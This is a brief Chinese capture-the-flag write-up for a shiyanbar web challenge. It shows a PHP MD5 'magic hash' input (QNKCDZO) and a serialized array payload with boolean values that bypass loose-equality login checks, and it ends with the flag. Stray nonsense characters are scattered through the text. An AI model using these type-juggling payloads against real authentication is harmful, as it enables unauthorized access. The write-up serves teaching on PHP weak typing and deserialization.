天網(wǎng)管理系統(tǒng)
原題鏈接
http://ctf5.shiyanbar.com/10/web1/
分析
查看源碼
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
easy
username=QNKCDZO
頁面結果
/user.php?fame=hjkleffifer
進入鏈接
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
偉大的科學家php方言道:成也布爾,敗也布爾。
回去吧騷年
反序列化,php的提示是說bool矩欠。
'???'是一個字符串倦踢,注意到這里用的是==
炕倘,也就是說很可能可以利用php弱類型求冷。
<?php
var_dump(true=='olivia');
//bool(true)
所以這里payload 很簡單。
<?php
$test = array("user"=>true,"pass"=>true);
$stest = serialize($test);
echo $stest."\n";
?>
//a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
但是注意窍霞,要回到index.php提交password匠题。
flag
ctf{dwduwkhduw5465}
知識點
php序列化與反序列化
php弱類型